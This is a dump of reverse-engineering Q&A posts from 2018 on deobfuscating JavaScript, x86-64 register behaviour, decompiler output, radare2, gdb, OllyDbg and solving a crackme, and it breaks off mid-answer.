        "Body": "<p>Someone here already had success to deobfuscate 100% a \"hexadecimal\" Javascript code?</p>\n\n<p>E.g.:</p>\n\n<pre><code>var _0x22bc92 = function() {\n    var _0x26938d = !![];\n    return function(_0x100751, _0x54d399) {\n        var _0x1a7790 = _0x26938d ? function() {\n            if (_0x54d399) {\n                var _0x28145f = _0x54d399[_0x4734('0x0')](_0x100751, arguments);\n                _0x54d399 = null;\n                return _0x28145f;\n            }\n        } : function() {};\n        _0x26938d = ![];\n        return _0x1a7790;\n    };\n}();\n</code></pre>\n\n<p>If yes, how do I do it?</p>\n",
        "Title": "How decrypt hexadecimal javascript code?",
        "Tags": "|deobfuscation|javascript|hexadecimal|",
        "Answer": "<p>Those hex values could represent anything. Look for <a href=\"https://www.google.com/search?num=100&amp;newwindow=1&amp;rlz=1C1CHZL_enUS745US745&amp;ei=uSU-W9O-F4GzzwLR2IzAAg&amp;q=multi-format%20hexadecimal%20converter&amp;oq=multi-format%20hexadecimal%20converter&amp;gs_l=psy-ab.3...2267.2267.0.2497.1.1.0.0.0.0.68.68.1.1.0....0...1.1.64.psy-ab..0.0.0....0.FocNtzxDAn8\" rel=\"nofollow noreferrer\">online converters</a> that convert hexadecimal to text (consider <a href=\"https://stackoverflow.com/questions/700187/unicode-utf-ascii-ansi-format-differences\">various formats</a>), dec, etc. and see if the results make any sense. If not, then they could just be 100% obfuscated to not recover any sort of meaningful name.</p>\n\n<p>Therefore, just make meaningful names yourself where you see repeated occurrences of names. For instance, look at how many times you see the value <code>_0x26938d</code> (which I've changed to <code>_0x26938d_CHANGE_ME</code>) appear below. Simply change all of those occurrences to your own name. You can apply a more meaningful name to them once you read through the code and/or execute it to understand its behavior.</p>\n\n<pre><code>var _0x22bc92 = function() {\n    var _0x26938d_CHANGE_ME = !![];\n    return function(_0x100751, _0x54d399) {\n        var _0x1a7790 = _0x26938d_CHANGE_ME ? function() {\n            if (_0x54d399) {\n                var _0x28145f = _0x54d399[_0x4734('0x0')](_0x100751, arguments);\n                _0x54d399 = null;\n                return _0x28145f;\n            }\n        } : function() {};\n        _0x26938d_CHANGE_ME = ![];\n        return _0x1a7790;\n    };\n}();\n</code></pre>\n"
    },
    {
        "Id": "18695",
        "CreationDate": "2018-07-05T14:16:51.720",
        "Body": "<p>NB: I normally dabble with disassembly (i.e. mnemonics) and only ever look at the raw opcodes when I can't avoid it.</p>\n\n<p>I have the following line of disassembly of a Windows x64 kernel mode driver, created by IDA Pro 7.1.180227:</p>\n\n<pre><code>xor     edx, edx\n</code></pre>\n\n<p>Now I <em>know</em> for a fact that this is in preparation of passing the second parameter to a function via <code>rdx</code>. I also know that the intention of that code is to set said pointer argument to <code>NULL</code>.</p>\n\n<p>The opcode is <code>33 D2</code>. And cross-referencing that with <a href=\"http://ref.x86asm.net/coder64.html#x33\" rel=\"noreferrer\">the reference</a> or looking at it <a href=\"https://onlinedisassembler.com/odaweb/4CcSHhBe/0\" rel=\"noreferrer\">in ODA</a> yields the same as with IDA: <code>xor edx, edx</code>.</p>\n\n<p>Now what itches me wrong with this disassembly is that <code>rdx</code>, as a superset of <code>edx</code>, is used elsewhere on that exact code path to store other pointers. So in theory the upper double-word of <code>rdx</code> could be \"dirty\".</p>\n\n<p>And going by the fact that this is x64 code, I'd expect this to read <code>xor rdx, rdx</code>. Why is that not how it's presented in the disassembly?</p>\n\n<hr>\n\n<p>Now I understand that, as per section 3.6.1 (Table 3-4) of the <a href=\"https://software.intel.com/en-us/articles/intel-sdm\" rel=\"noreferrer\">Intel SDM</a> (05/2018) the REX.W Prefix of the opcode can affect the operand size.</p>\n\n<p>For this opcode neither the operand-size (66h) nor the address-size (67h) prefix are present.</p>\n\n<p>So going by the Intel SDM (section \"XOR\u2014Logical Exclusive OR\") I should indeed be dealing with opcode <code>33 /r</code> or instruction <code>XOR r32, r/m32</code>, confirming IDAs translation of the opcode. Referring to section 2.1.5 (\"Addressing-Mode Encoding of ModR/M and SIB Bytes\") of the Intel SDM gives us a clue as to how the operand (<code>D2</code>) is encoded and so gives us, from Table 2-2 (\"32-Bit Addressing Forms with the ModR/M Byte\"): <code>EDX/DX/DL/MM2/XMM2</code> as operand.</p>\n\n<p>Figures.</p>\n\n<p>However, that would mean that the \"dirty\" upper double-word in <code>rdx</code> would not be zeroed out and thus a garbled/truncated pointer would end up being passed. Given this is kernel mode code, the consequences should be clear.</p>\n\n<p>I just can't believe that the compiler would make such mistake. So what <em>am I</em> missing?</p>\n",
        "Title": "Is IDA pulling my leg - or can REX.W sometimes not be determined in static analysis?",
        "Tags": "|ida|x86-64|assembly|",
        "Answer": "<p>In x86-64, any operation that affects only the lower 32 bits of a register automatically zeros out the upper 32 bits.</p>\n\n<p>The relevant part in the Intel Architecture manual is in Volume 1, 3.4.1.1, which states:</p>\n\n<blockquote>\n  <p>When in 64-bit mode, operand size determines the number of valid bits\n  in the destination general-purpose register:</p>\n  \n  <ul>\n  <li>64-bit operands generate a 64-bit result in the destination general-purpose register.</li>\n  <li><strong>32-bit operands generate a 32-bit result, zero-extended to a 64-bit\n  result in the destination general-purpose register.</strong></li>\n  <li>8-bit and 16-bit operands generate an 8-bit or 16-bit result. The upper 56 bits or 48 bits (respectively) of the destination general-purpose register are\n  not modified by the operation. If the result of an 8-bit or 16-bit\n  operation is intended for 64-bit address calculation, explicitly\n  sign-extend the register to the full 64-bits.</li>\n  </ul>\n</blockquote>\n\n<p>Thus both forms give the same result, and <code>xor edx, edx</code> is one byte shorter than <code>xor rdx, rdx</code>, so the compiler prefers it.</p>\n"
    },
    {
        "Id": "18697",
        "CreationDate": "2018-07-05T15:29:23.407",
        "Body": "<p>What would be the translated C output of this hexrays decompiler pseudocode? The values of v6 and v5 are floats just as v8. The value of xmmword_108365D0 is 7FFFFFFF7FFFFFFF7FFFFFFF7FFFFFFFh</p>\n\n<pre><code>v8 = (float)(COERCE_FLOAT(COERCE_UNSIGNED_INT(v6 - v5) &amp; xmmword_108365D0) - 4.0) * 0.16666667;\n</code></pre>\n\n<p>I'm not sure how to go about translating these macros into C. </p>\n\n<p><code>andps   xmm0, ds:xmmword_108365D0 ; xmm0 = xmm0 &amp; xmmword_108365D0\n subss   xmm0, ds:dword_10835A68 ; xmm0 -= 4.0\n mulss   xmm0, ds:dword_1083538C ; xmm0 *= 0.16666667</code></p>\n",
        "Title": "Translating ida macros and pseudocode into C++/C",
        "Tags": "|ida|decompilation|c++|c|hexrays|",
        "Answer": "<p><code>andps</code> stands for \"Bitwise Logical AND of Packed Single Precision Floating-Point Values\", i.e. the contents of the register is interpreted as four separate single precision (32-bit) values and a bitwise AND operation is performed using the second operand as the mask. Since floats do not have bitwise operations defined, the CPU performs it on the raw values in the registers as if they were just a stream of bits. I.e. the result of</p>\n\n<p><code>andps   xmm0, ds:xmmword_108365D0</code> </p>\n\n<p>is similar  to the following operations:</p>\n\n<pre><code> xmm0.m128i_u32[0] &amp;= 0x7FFFFFFF;\n xmm0.m128i_u32[1] &amp;= 0x7FFFFFFF;\n xmm0.m128i_u32[2] &amp;= 0x7FFFFFFF;\n xmm0.m128i_u32[3] &amp;= 0x7FFFFFFF;\n</code></pre>\n\n<p>executed simultaneously (<code>m128i_u32</code> here represents the contents of the xmm register as an array of four unsigned 32-bit integers). </p>\n\n<p>Since the <a href=\"https://en.wikipedia.org/wiki/Single-precision_floating-point_format\" rel=\"nofollow noreferrer\">IEEE floating-point format</a> uses most significant bit (bit 31) as the sign of the value, and this operation clears this bit, obviously this operation makes the number always positive, i.e. it's an equivalent of <code>fabs()</code>. </p>\n\n<p>The following two operations (<code>subss</code> and <code>mulss</code> are of the \"Scalar Single-Precision\" category, i.e. they use only the low 32 bits of the register as the floating-point value, that's why the decompiler tried to convert the calculation to a single float, however it could not discard the <code>andps</code> operation because it is performed on the whole register, which resulted in the ugly cast sequence. So, if we replace the <code>&amp;</code> by <code>fabs</code>, the \"correct\" expression is probably this:</p>\n\n<pre><code>v8 = (fabs(v6 - v5) - 4.0) / 6;\n</code></pre>\n"
    },
    {
        "Id": "18701",
        "CreationDate": "2018-07-06T00:17:37.153",
        "Body": "<p>If I want to find all references to <code>fs:[0x28]</code> how would I go about doing it with radare2? For example,</p>\n\n<pre><code>0x000006b5      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x1978 ; '(' ; \"x\\x19\"\n</code></pre>\n\n<p>I want to find all lines that reference <code>fs:[0x28]</code>, like the one above. This address is used as a <a href=\"https://stackoverflow.com/a/10325915/124486\">stack canary</a>, and I'm especially interested to see what is reading from it.</p>\n",
        "Title": "How do I find all references to an address with a memory segment?",
        "Tags": "|radare2|",
        "Answer": "<p>By looking how this function is implemented, it looks like there's no option for this (but go ask on <a href=\"https://telegram.me/joinchat/ACR-FkEK2owJSzMUYjt_NQ\" rel=\"nofollow noreferrer\">r2's on Telegram</a>). It just takes a string that's being converted to a number and that's all. If you want to see all the places where <code>fs:[0x28]</code> being used why not search for this part of the opcode?</p>\n\n<pre><code>[0x004049a0]&gt; /c fs:[0x28]\n0x00402a19   # 9: mov rax, qword fs:[0x28]\n0x00403f81   # 9: xor rcx, qword fs:[0x28]\n0x00404dc1   # 9: mov rax, qword fs:[0x28]\n0x00404de6   # 9: xor rdx, qword fs:[0x28]\n0x00405431   # 9: mov rax, qword fs:[0x28]\n0x004054ea   # 9: xor rbx, qword fs:[0x28]\n...\n</code></pre>\n"
    },
    {
        "Id": "18705",
        "CreationDate": "2018-07-06T08:33:46.343",
        "Body": "<pre><code>[root@localhost Relay]# file RelayD\nRelayD: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped\n\n[root@localhost Relay]# ./start\n: no process killed\n./start: line 2:  2066 Segmentation fault      ./RelayD start --daemon\n: command not found\n[root@localhost Relay]# gdb RelayD\nGNU gdb (GDB) Red Hat Enterprise Linux (7.2-92.el6)\nCopyright (C) 2010 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.  Type \"show copying\"\nand \"show warranty\" for details.\nThis GDB was configured as \"x86_64-redhat-linux-gnu\".\nFor bug reporting instructions, please see:\n&lt;http://www.gnu.org/software/gdb/bugs/&gt;...\n\"/home/Relay/RelayD\": not in executable format: File format not recognized\n(gdb) run\nStarting program:\nNo executable file specified.\nUse the \"file\" or \"exec-file\" command.\n</code></pre>\n\n<p>How to debug this file? I have tried to run gdb to debug the file and the result show: not in executable. The program is showing segfault when I tried to run the bin file.</p>\n",
        "Title": "gdb debug show error \"not in executable format: file format not recognized\"",
        "Tags": "|debugging|",
        "Answer": "<p>It seems you may be looking for:</p>\n\n<pre><code>gdb --args ./RelayD start --daemon\n</code></pre>\n\n<p>(although you probably want to avoid <code>--daemon</code> if that's optional).</p>\n\n<p>However, that above (shell) command is equivalent to:</p>\n\n<pre><code>gdb ./RelayD\n</code></pre>\n\n<p>... followed by (on the GDB prompt):</p>\n\n<pre><code>run start --daemon\n</code></pre>\n\n<p>Note how in both cases I am passing the arguments as per the script line and how I am passing the <em>relative</em> path instead of merely the name of an executable.</p>\n\n<p><strong>There <em>may</em> be another catch here</strong>, but it's hard to tell and you don't explicitly mention the distro you're on. However, it's possible that for your system you need to enable multilib support [1] so that your x86-64 OS can run x86-32 binaries (that <code>RelayD</code> ELF file) and that you may have to install some packages you have to install in order to have GDB support this scenario. The alternative could be to run a 32-bit container (which still requires multilib, if I am not mistaken) and inside that prepare and debug with a 32-bit GDB or use a 32-bit VM to get the debugging done. But for all I know most distros support the scenario of debugging a 32-bit binary on the 64-bit host system. So it's likely a matter of installing some extra packages.</p>\n\n<p>Oh and last but not least you may be missing some of the shared objects (libraries) that the 32-bit executable expects. Use <code>readelf</code> or <code>ldd</code> on your <code>RelayD</code> to find out more.</p>\n\n<p>[1] <code>yum groupinstall \"Compatibility Libraries\"</code> should do the trick, provided <code>multilib_policy=all</code> is set in your <code>yum.conf</code> and you're indeed running on RHEL (or CentOS or Scientific Linux) as suggested by the GDB output you gave. Also make sure <code>yum.conf</code> does <em>not</em> contain <code>exclude = *.i?86</code> to preclude the 32-bit packages from being considered (<code>exactarch=1</code> may also have an adverse effect, so consult <code>man yum.conf</code>). You can also pick and choose your own compatibility libraries by searching the list with <code>yum search compat|grep ^compat-</code>.</p>\n"
    },
    {
        "Id": "18708",
        "CreationDate": "2018-07-06T14:36:02.477",
        "Body": "<p>Can anyone explain the following code as it's an array in assembly. \nI can't understand can you help me to figure it out line by line. </p>\n\n<p>Thanks </p>\n\n<p><a href=\"https://i.stack.imgur.com/8wH0f.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8wH0f.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Q.1) what does the 401024  &amp; 40102E   line does ?</p>\n",
        "Title": "Understand help me array in assembly?",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>The explanation is given in the book immediately following the listing (Practical Malware Analysis Chapter 6 page 128 \"Recognizing C Code Constructs in Assembly\"):</p>\n\n<blockquote>\n  <p>In this listing, the base address of array b corresponds to <code>dword_40A000</code> ,\n  and the base address of array a corresponds to <code>var_14</code> . Since these are both\n  arrays of integers, each element is of size 4, although the instructions at 1\n  and 2 differ for accessing the two arrays. In both cases, <code>ecx</code> is used as the\n  index, which is multiplied by 4 to account for the size of the elements. The\n  resulting value is added to the base address of the array to access the proper\n  array element.</p>\n</blockquote>\n"
    },
    {
        "Id": "18710",
        "CreationDate": "2018-07-06T16:12:16.460",
        "Body": "<p>In the following picture the line i want to mention is:</p>\n\n<pre><code>mov [esp+eax*4+0Ch], edx\n</code></pre>\n\n<p>Here <code>eax</code> is the index in the array. But, where is the address of the array to access?</p>\n\n<p>what does mean this line of code ? (<code>0Ch</code>)</p>\n\n<p><a href=\"https://i.stack.imgur.com/smNxO.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/smNxO.jpg\" alt=\"Full context of the asm line\"></a></p>\n",
        "Title": "index of array in assembly?",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>Usually, when running through an array, we can find the following lines of assembly code:</p>\n\n<pre><code>mov [base_address_of_array + array_index * size_of_an_item_in_array], edx\n</code></pre>\n\n<p>In your case, my guess would be that the array is on the stack (that is why you find <code>esp</code> as part of the base address of the array. Then, you also have an offset to <code>esp</code> which is <code>0Ch</code> (which is 12 in decimal). So, the array is located at <code>esp + 0Ch</code>. Then, <code>eax</code> is the index and <code>4</code> is the size of an item in the array (probably an integer of 4 bytes).</p>\n\n<p>If we look at the whole CFG, I would translate it back to C in something like this:</p>\n\n<pre><code>int array[4];\n\nfor (int i = 0; i &lt; 4; ++i)\n  array[i] = i;\n</code></pre>\n\n<p><strong>Note</strong>: I supposed that the blue arc in the CFG is getting back to <code>loc_401381</code>.</p>\n"
    },
    {
        "Id": "18719",
        "CreationDate": "2018-07-07T15:15:53.410",
        "Body": "<p>This is the python code I wrote of a simple crackme that I have reversed but I am not able to understand what the recursive function here does. </p>\n\n<pre>\ndef the_process(stored, inp, size):\n    idx = 0\n    global thstr\n    idx = stored.index(inp[0])\n    if idx:\n        the_process(stored[:idx], inp[1:], idx)\n    if size - 1 != idx:\n        the_process(stored[1+idx:1+idx + size - idx -1],inp[idx+1:], size - idx - 1)\n    thstr.append(inp[0])\n\nif __name__ == \"__main__\":\n    thstr = []\n    stored = \"MGNCHXWIZDJAOKPELYSFUTV\"\n    input1 = \"TFSLPOJZCGMNHWXIDAKEYUV\"\n    the_process(stored, list(input1), 23)\n    print \"output : \" + \"\".join(thstr)\n</pre>\n\n<p><code>input1</code> is a sample valid input I could figure out for the function. To get the crackme validated I need <code>thstr</code> to be <code>MNGHCWZIJDXOPKLESUVTFYA</code> in the end. How can I get the input to make that happen?</p>\n",
        "Title": "How can I reverse this recursive function?",
        "Tags": "|python|crackme|",
        "Answer": "<p>I gave it a go. First I simplified your code a little bit.</p>\n\n<pre><code>def the_process(stored, inp, size):\n    global thstr\n    idx = 0\n    idx = stored.index(inp[0])\n    if idx:\n        the_process(stored[:idx], inp[1:], idx)\n    if size - 1 != idx:\n        the_process(stored[idx+1:],inp[idx+1:], size - idx - 1)\n    thstr.append(inp[0])\n</code></pre>\n\n<p>Now it looks like by the naming that <code>stored</code> is hardcoded in the binary. I considered <code>MGNCHXWIZDJAOKPELYSFUTV</code> to be as is and the target output to be <code>MNGHCWZIJDXOPKLESUVTFYA</code>.</p>\n\n<p>By the function it looks like that it takes the first char of <code>input</code>, splits <code>stored</code> at the location of that char and then recursively calls itself on the two parts made. I made a tree to follow that.<a href=\"https://i.stack.imgur.com/l9wyN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/l9wyN.png\" alt=\"originalinput\"></a></p>\n\n<p>The graph is such that taking one char from input <code>TFSLPOJZCGMNHWXIDAKEYUV</code> and position nodes/chars which are at the right/left appropriately(V is right to T in the graph as it is right to T in the <code>stored</code>). In this graph the output is post order traversal of the graph and the input is pre order traversal. </p>\n\n<p>Similar graph can be constructed from the <code>target</code> <code>MNGHCWZIJDXOPKLESUVTFYA</code>. Only the reverse such that post order is given and construct the graph.\n<a href=\"https://i.stack.imgur.com/cfh7V.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cfh7V.png\" alt=\"targetinput\"></a></p>\n\n<p>Now pre order traverse this graph and you'll have your input <code>AXCGMNHDIWZJYEKOPLFSTUV</code>.</p>\n\n<p>The equivalent hackish function is this. feel free to make it better.</p>\n\n<pre><code>def rev_process(stored, inp, size):\n    if not size:\n        return\n    global thstr\n    mp = {stored[i] : i for i in xrange(len(stored))}\n    idx = mp[inp[-1]]\n    thstr.append(inp[-1])\n    if size == 1:\n        return\n    try:\n        less_part = max(loc for loc, val in enumerate(inp) if mp[val] &lt; idx) + 1\n    except ValueError:\n        less_part = 0\n    rev_process(stored[:idx], inp[:less_part], less_part, fs+1)\n    if less_part!= size-1:\n        rev_process(stored[idx+1:], inp[less_part:-1], size-less_part-1, fs+1)\n</code></pre>\n\n<p>I have also added the reversed function code and resources <a href=\"https://gist.github.com/sudhackar/42b7c23ac301c59050e93536ef90b937\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "18735",
        "CreationDate": "2018-07-09T10:00:32.637",
        "Body": "<p><em>I don't know whether this is a silly question, but I couldn't find any answer.</em></p>\n\n<p>With the evolution of CPU architecture, register size was extended, from 8, to 16, 32, and eventually 64-bit. I was wondering whether there was any way to access the higher part of the registers.</p>\n\n<p>Here's an example regarding the <code>rax</code> 64-bit register and its subsequent divisions:</p>\n\n<pre><code>6                              3               1 \n4                              2               6       8       1\n+------------------------------+---------------+-------+-------+\n|                             rax                              |\n+------------------------------+---------------+-------+-------+\n            (???)              |              eax              |\n                               +---------------+-------+-------+\n                                     (???)     |       ax      |\n                                               +-------+-------+\n                                               |  ah   |   al  |\n                                               +-------+-------+\n</code></pre>\n\n<p>One can easily access the higher and lower part of <code>ax</code> by referencing to <code>ah</code> and <code>al</code> respectively. But I couldn't find any reference for the <code>rax</code> and <code>eax</code> higher parts. (Denoted with <code>(???)</code>)</p>\n\n<ol>\n<li>Is it possible to access the higher part of the 32-bit and 64-bit registers? If so, which ones?</li>\n<li>Assuming it is not possible, what are the reasons behind this?</li>\n</ol>\n\n<p><em>Note: I am talking about direct access to these bytes, I am not asking for a sequence of instructions that could retrieve them.</em></p>\n",
        "Title": "Is it possible to access the higher part of the 32-bit and 64-bit registers? If so, which ones?",
        "Tags": "|assembly|x86|register|x86-64|",
        "Answer": "<p><strong>Update:</strong> <em>Thanks to Nirlzr, I see I missed the emphasized point at the bottom of the post. This answer, though not what OP is looking for, may serve useful for anyone down the road who is looking for a way to access those bits. Apologies for missing OPs full intention!</em></p>\n\n<p>I actually wrote an in-depth article on this topic a couple of years ago: <strong><a href=\"http://dsasmblr.com/accessing-and-modifying-upper-half-of-registers/\" rel=\"noreferrer\">Accessing and Modifying Upper Bits in x86 and x64 Registers</a></strong></p>\n\n<p>So while there aren't any direct instructions to specifically access the upper half of a 32- or 64-bit register, you can get to that data by using <strong>shift</strong> and <strong>rotate</strong> instructions (of which your choice of use mostly depends on if you care about maintaining the integrity of the bits in the lower-half of the registers).</p>\n\n<p>I would piecemeal the post here for a more fleshed-out-looking answer, but it's best to just read the post as is, which has a very intentional flow that includes copious examples.</p>\n"
    },
    {
        "Id": "18740",
        "CreationDate": "2018-07-09T15:53:37.957",
        "Body": "<p>I was looking at a game code, and I saw the following:</p>\n\n<pre><code>0x171    mov [rbp-30],r12w\n....\n0x210     movups xmm0,[rbp-30]\n</code></pre>\n\n<p>I am pretty sure that <code>r12</code> is an integer here (equals 5). So, is it moving an integer to a float register at <code>0x171</code> using <code>movups</code>?</p>\n\n<p>I searched on Internet, but <code>movups</code> usually moves float to float, not integer to float...</p>\n\n<p>Could someone tell me how we usually moves integer to <code>xmm</code> registers ?</p>\n",
        "Title": "Moving integer to xmm register",
        "Tags": "|assembly|register|amd64|float|",
        "Answer": "<p>To move a number into an XMM register, you'll first need to move that number into a memory address since you can't move an immediate into an XMM register (meaning, you can't do something like <code>mov XMM1,9</code>).</p>\n\n<p>If need be, you can allocate your own memory to store a number in, or in your scenario, if it's feasible, you could inject code to put your own value into r12w prior to that write, or your own value into [rbp-30] after that write.</p>\n\n<p>Instructions of interest for you will be <code>MOVSS</code>, <code>MOVSD</code>, <code>MOVD</code>, <code>MOVQ</code>, and so on. Assuming you opt to put your own value into [rbp-30] first:</p>\n\n<p><strong>Example</strong>: <code>movss xmm1,[rbp-30]</code></p>\n\n<p>Insofar as your value being an integer, you'll probably see an instruction like CVTSS2SI (Convert Scalar Single-Precision Floating-Point Value to Doubleword Integer) somewhere within the sub-routine you're in.</p>\n"
    },
    {
        "Id": "18746",
        "CreationDate": "2018-07-10T18:12:11.790",
        "Body": "<p>During the debugging process, I can use binary edit in order to add commands where I want, etc. However, I can't find any way to add an ASCII string at an address in which I can reference later. If I try to add something like: \"hello\", OllyDBG will just translate the bytes into commands and edit the assembly commands into the program.</p>\n\n<p>Is there a way to just add the ASCII string into the program?</p>\n",
        "Title": "How do I create an ASCII string in OllyDBG?",
        "Tags": "|ollydbg|debugging|debuggers|",
        "Answer": "<p>ollydbg v2</p>\n\n<p>Ctrl+E  -> Ascii -> \"Hello\" -> Enter  and -> Ctrl+A    (to make ollydbg understand its string not code )<br>\n:(colon) Label for later Reference</p>\n\n<p>use CTRL+G and type the label name for </p>\n\n<p>here is a screen shot of a partially matched label that follows</p>\n\n<p><a href=\"https://i.stack.imgur.com/M9X8C.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/M9X8C.png\" alt=\"enter image description here\"></a></p>\n\n<pre><code>CPU Disasm\nAddress                                Hex dump          Command              Comments\n00D13FC0 This Is My Newly Added String 48 65 6C 6C 6F 00 ASCII \"Hello\",0;ASCII \"Hello\"\n</code></pre>\n\n<p>ollydbg 1 \nRightClick -> Analysis -> During Next Ananlysis Treat Selection As Ascii String </p>\n"
    },
    {
        "Id": "18750",
        "CreationDate": "2018-07-10T20:16:38.027",
        "Body": "<p>I try to reverse engineering an application and I came to the point that I don't understand. I have the following disassembled code with <code>gdb</code>:</p>\n\n<pre><code>   \u25020x7ffff76f7e4b &lt;_ZN16CRRegistratorImp8RegisterEbPv+587&gt; je     0x7ffff76f7ce6 &lt;_ZN16CRRegistratorImp8RegisterEbPv+230&gt;                                                              \u2502\n   \u25020x7ffff76f7e51 &lt;_ZN16CRRegistratorImp8RegisterEbPv+593&gt; mov    rdi,QWORD PTR [rbp+0x10]                                                                                             \u2502\n   \u25020x7ffff76f7e55 &lt;_ZN16CRRegistratorImp8RegisterEbPv+597&gt; mov    rax,QWORD PTR [rdi]                                                                                                  \u2502\n   \u25020x7ffff76f7e58 &lt;_ZN16CRRegistratorImp8RegisterEbPv+600&gt; call   QWORD PTR [rax+0x30]                                                                                                 \u2502\n   \u25020x7ffff76f7e5b &lt;_ZN16CRRegistratorImp8RegisterEbPv+603&gt; test   al,al                                                                                                                \u2502\n   \u25020x7ffff76f7e5d &lt;_ZN16CRRegistratorImp8RegisterEbPv+605&gt; je     0x7ffff76f7ce6 &lt;_ZN16CRRegistratorImp8RegisterEbPv+230&gt;                                                              \u2502\n   \u25020x7ffff76f7e63 &lt;_ZN16CRRegistratorImp8RegisterEbPv+611&gt; jmp    0x7ffff76f7d29 &lt;_ZN16CRRegistratorImp8RegisterEbPv+297&gt;      \n   \u25020x7ffff76f7e68 &lt;_ZN16CRRegistratorImp8RegisterEbPv+616&gt; xor    edx,edx                                                                                                              \u2502\n   \u25020x7ffff76f7e6a &lt;_ZN16CRRegistratorImp8RegisterEbPv+618&gt; mov    rsi,r12                                                                                                              \u2502\n   \u25020x7ffff76f7e6d &lt;_ZN16CRRegistratorImp8RegisterEbPv+621&gt; mov    rdi,rbp                                                                                                              \u2502\n   \u25020x7ffff76f7e70 &lt;_ZN16CRRegistratorImp8RegisterEbPv+624&gt; call   0x7ffff7596518 &lt;_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt&gt;                                         \u2502\n   \u25020x7ffff76f7e75 &lt;_ZN16CRRegistratorImp8RegisterEbPv+629&gt; jmp    0x7ffff76f7e41 &lt;_ZN16CRRegistratorImp8RegisterEbPv+577&gt;                                                              \u2502\n   \u25020x7ffff76f7e77 &lt;_ZN16CRRegistratorImp8RegisterEbPv+631&gt; mov    edx,0x4                                                                                                              \u2502\n   \u25020x7ffff76f7e7c &lt;_ZN16CRRegistratorImp8RegisterEbPv+636&gt; mov    rsi,r12                                                                                                              \u2502\n   \u25020x7ffff76f7e7f &lt;_ZN16CRRegistratorImp8RegisterEbPv+639&gt; mov    rdi,rbp                                                                                                              \u2502\n   \u25020x7ffff76f7e82 &lt;_ZN16CRRegistratorImp8RegisterEbPv+642&gt; call   0x7ffff7596518 &lt;_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt&gt;    \n</code></pre>\n\n<p>This is not the whole procedure, but I think it is not needed. What I want to know is, how to get to to the address <code>0x7ffff76f7e68</code> (<code>+616</code>). \nI was thinking that somewhere in this procedure I will find something like this instruction:</p>\n\n<p><code>jmp    0x7ffff76f7e68 &lt;_ZN16CRRegistratorImp8RegisterEbPv+616&gt;</code></p>\n\n<p>but there is no such instruction in this procedure and it is not possible to get it there because on address <code>+611</code> there is the the <code>jmp</code> instruction. So I have the following questions:</p>\n\n<ol>\n<li>Is it dead code?</li>\n<li><p>Is it possible to jump directly to this specific address (<code>+616</code>) from other procedure?</p></li>\n<li><p>Is there another way to get to this address?</p></li>\n</ol>\n",
        "Title": "Getting to the specific offset in assembly code",
        "Tags": "|disassembly|",
        "Answer": "<p>There are several possibilities. At least it doesn't look like junk, so probably the disassembler engine built into GDB is right about the opcodes.</p>\n\n<p>GDB is somewhat limited when it comes to showing those details that count when reverse engineering a bigger target. This <em>could</em> actually be dead code, since the names indicate that this is C++ code. Hence there's always a chance that certain virtual functions are never referenced and yet remain in the binary. Essentially there are corner cases that would lead to dead code. But it's hard to tell from this small window into the target that you provide and without more knowledge about the target in question.</p>\n\n<p>First I would start by <a href=\"https://demangler.com/\" rel=\"nofollow noreferrer\">demangling the names</a>, since you seem to have debug symbols for the application:</p>\n\n<pre><code>CRRegistratorImp::Register(bool, void*)\nCallRegGuiCallback(CRRegistrator*, void*, ERegGUIAction)\n</code></pre>\n\n<p>As per <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions#List_of_x86_calling_conventions\" rel=\"nofollow noreferrer\">this list</a> you can see that the Linux ABI (System V AMD64 ABI) makes use of the following registers (in order) on x86-64: RDI, RSI, RDX, RCX, R8, R9, XMM0\u20137.</p>\n\n<p>From this knowledge I'd deduce that these could be two very small wrapper functions to do a similar job:</p>\n\n<pre><code>; first function\nxor    edx,edx\nmov    rsi,r12\nmov    rdi,rbp\ncall   0x7ffff7596518 &lt;_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt&gt;\njmp    0x7ffff76f7e41 &lt;_ZN16CRRegistratorImp8RegisterEbPv+577&gt;\n; second function below\nmov    edx,0x4\nmov    rsi,r12\nmov    rdi,rbp\ncall   0x7ffff7596518 &lt;_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt&gt;\n</code></pre>\n\n<p>Roughly (respectively:</p>\n\n<pre><code>CallRegGuiCallback($RDI, $RSI, 0);\nCallRegGuiCallback($RDI, $RSI, 0x4);\n</code></pre>\n\n<p>Without a proper disassembler you won't be able to tell if that code is dead (== unreferenced). GDB is just too crude a tool for this job. And even with a proper disassembler you will not be a 100% sure that it is dead code even though the disassembler \"reasoned\" it is.</p>\n\n<p>That said, give <a href=\"https://www.radare.org/r/\" rel=\"nofollow noreferrer\">radare2</a> (free of charge, open source), Hopper (commercial, but affordable) or IDA Pro (commercial, but relatively expensive, yet very very powerful) a try. These should give you a considerably better idea of what parts of the code are referenced by other parts of the code.</p>\n\n<p>To answer your questions:</p>\n\n<ol>\n<li><p>Is it dead code?</p>\n\n<p>Possible, but there's no way to tell for certain (i.e. to rule out false negatives!).</p></li>\n<li><p>Is it possible to jump directly to this specific address (+616) from other procedure?</p>\n\n<p>Certainly, a <code>jmp</code> may actually even be sufficient, semantically, because these small functions seem to pass the parameters to the <code>call</code> themselves.</p></li>\n<li><p>Is there another way to get to this address?</p>\n\n<p>Yeah, from the top of my head I could come up with about half a dozen or so, and there are probably more sneaky ones. However, that (sub-)question is somewhat open-ended. Anyway, you could <code>jmp</code> or use any kind of conditional jump. You could <code>call</code> or you could load the address into a register and do an 